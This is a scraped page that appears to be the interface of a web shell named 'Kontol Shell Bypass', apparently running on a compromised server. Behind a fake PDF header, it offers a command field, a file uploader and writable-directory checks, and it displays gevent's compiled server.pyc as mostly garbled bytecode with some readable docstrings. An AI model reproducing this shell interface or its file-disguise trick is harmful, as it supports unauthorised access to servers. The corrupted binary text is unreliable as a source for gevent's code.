%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/server.cpython-39.pyc
a

�_gd*�@s�dZddlmZddlmZddlmZddlZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddl
mZddlmZdd
lmZddgZejdkr�dZndZdd�ZGdd�de�ZGdd�de�Zddefdd�Zddefdd�ZdS)zTCP/SSL server�)�print_function)�absolute_import)�divisionN)�error)�
SOL_SOCKET)�SO_REUSEADDR)�AF_INET)�
SOCK_DGRAM)�
BaseServer)�EWOULDBLOCK)�socket�StreamServer�DatagramServer�win32�cCs|S�N�)�sockrr�:/vddos/python/lib/python3.9/site-packages/gevent/server.py�_closing_socketsrc@sleZdZdZdZeZddd�Zedd��Z	d	d
�Z
dd�Zd
d�Ze
ddd��Zdd�Zdd�Zdd�ZdS)r
a�	
    A generic TCP server.

    Accepts connections on a listening socket and spawns user-provided
    *handle* function for each connection with 2 arguments: the client
    socket and the client address.

    Note that although the errors in a successfully spawned handler
    will not affect the server or other connections, the errors raised
    by :func:`accept` and *spawn* cause the server to stop accepting
    for a short amount of time. The exact period depends on the values
    of :attr:`min_delay` and :attr:`max_delay` attributes.

    The delay starts with :attr:`min_delay` and doubles with each
    successive error until it reaches :attr:`max_delay`. A successful
    :func:`accept` resets the delay to :attr:`min_delay` again.

    See :class:`~gevent.baseserver.BaseServer` for information on defining the *handle*
    function and important restrictions on it.

    **SSL Support**

    The server can optionally work in SSL mode when given the correct
    keyword arguments. (That is, the presence of any keyword arguments
    will trigger SSL mode.) On Python 2.7.9 and later (any Python
    version that supports the :class:`ssl.SSLContext`), this can be
    done with a configured ``SSLContext``. On any Python version, it
    can be done by passing the appropriate arguments for
    :func:`ssl.wrap_socket`.

    The incoming socket will be wrapped into an SSL socket before
    being passed to the *handle* function.

    If the *ssl_context* keyword argument is present, it should
    contain an :class:`ssl.SSLContext`. The remaining keyword
    arguments are passed to the :meth:`ssl.SSLContext.wrap_socket`
    method of that object. Depending on the Python version, supported arguments
    may include:

    - server_hostname
    - suppress_ragged_eofs
    - do_handshake_on_connect

    .. caution:: When using an SSLContext, it should either be
       imported from :mod:`gevent.ssl`, or the process needs to be monkey-patched.
       If the process is not monkey-patched and you pass the standard library
       SSLContext, the resulting client sockets will not cooperate with gevent.

    Otherwise, keyword arguments are assumed to apply to :func:`ssl.wrap_socket`.
    These keyword arguments may include:

    - keyfile
    - certfile
    - cert_reqs
    - ssl_version
    - ca_certs
    - suppress_ragged_eofs
    - do_handshake_on_connect
    - ciphers

    .. versionchanged:: 1.2a2
       Add support for the *ssl_context* keyword argument.

    �N�defaultcKs�tj||||d�zv|r`|�dd�d|vrF|�d�}|j|_||_qfddlm}||_||_nd|_|dur�t|d�r�td��||_	Wn|�
��Yn0dS)	N)�handle�spawn�server_sideT�ssl_contextr)�wrap_socketrz5backlog must be None when a socket instance is passed)r
�__init__�
setdefault�popr�ssl_argsZ
gevent.ssl�hasattr�	TypeError�backlog�close)�self�listenerrr#rr rrrrrros&


zStreamServer.__init__cCs
|jduSr)r �r%rrr�ssl_enabled�szStreamServer.ssl_enabledcCst�||�dSr)r
�set_listener)r%r&rrrr)�szStreamServer.set_listenercCs6t|jd�r2|r&t|jd�r&|j��|jj|_qdS)N�_sock�_drop_events)r!rr+r*�r%Zfreshrrr�_make_socket_stdlib�s

z StreamServer._make_socket_stdlibcCsZd}t|d�s4d}|�|j|j|j�|_|j��|_|jrD|j|_	n|j
|_	|�|�dS)NFrT)r!�get_listener�addressr#�familyr�getsocknamer �wrap_socket_and_handleZ_handlerr-r,rrr�init_socket�s

zStreamServer.init_socketcCs |dur|j}t|||j|d�S)N)r#�
reuse_addrr0)r#�
_tcp_listenerr4)�clsr/r#r0rrrr.�szStreamServer.get_listenercCsV|j}z|��\}}Wn ty6|js0YdS�Yn0t|j|j|j|d�}||fS)N)�fileno)r�_accept�BlockingIOError�timeout�GeventSocketr0�type�proto)r%r�fdr/rrr�do_read�szStreamServer.do_readcGs|��dSr)r$)r%r�argsrrr�do_close�szStreamServer.do_closecCsHt|j|fi|j����}|�||�Wd�S1s:0YdSr)rrr r)r%Z
client_socketr/Z
ssl_socketrrrr2�sz#StreamServer.wrap_socket_and_handle)NNr)NN)�__name__�
__module__�__qualname__�__doc__r#�DEFAULT_REUSE_ADDRr4r�propertyr(r)r-r3�classmethodr.r?rAr2rrrrr
"sH

c@sBeZdZdZeZdd�Zdd�Zed
dd��Z	d	d
�Z
dd�ZdS)rzA UDP servercOs6d|_tj|g|�Ri|��ddlm}|�|_dS)Nr)�	Semaphore)�_socketr
rZgevent.lockrI�
_writelock)r%r@�kwargsrIrrrr�szDatagramServer.__init__cCsVt|d�s(|�|j|j�|_|j��|_|j|_z|jj|_WntyPYn0dS)Nr)	r!r.r/r0rr1rJr*�AttributeErrorr'rrrr3�s
zDatagramServer.init_socketNcCst||j|d�S)N)r4r0)�_udp_socketr4)r6r/r0rrrr.�szDatagramServer.get_listenerc
Cs`z|j�d�\}}WnBtyV}z*|jdtkr@WYd}~dS�WYd}~n
d}~00||fS)Ni r)rJ�recvfrom�SocketErrorr@r)r%�datar/�errrrrr?�szDatagramServer.do_readcGs6|j��z|jj|�W|j��n|j��0dSr)rK�acquirer�sendto�release)r%r@rrrrT�s
zDatagramServer.sendto)N)rBrCrDrErFr4rr3rHr.r?rTrrrrr�s	�2c
Cs�t|d�}|dur |�tt|�z|�|�WnLtyz}z4t|dd�}|durd|dt|�|_�WYd}~n
d}~00|�	|�|�
d�|S)zKA shortcut to create a TCP socket, bind it and put it into listening state.)r0N�strerror�: r)r;�
setsockoptrr�bindrP�getattr�reprrW�listen�setblocking�r/r#r4r0r�exrWrrrr5s


r5c
Cs�t|td�}|dur"|�tt|�z|�|�WnLty|}z4t|dd�}|durf|dt|�|_	�WYd}~n
d}~00|S)N)r0r<rWrX)
r;r	rYrrrZrPr[r\rWr_rrrrNsrN)rE�
__future__rrr�sysrJrrPrrrr	Zgevent.baseserverr
Z
gevent.socketrrr;�__all__�platformrFrr
rr5rNrrrr�<module>s,
4-

Kontol Shell Bypass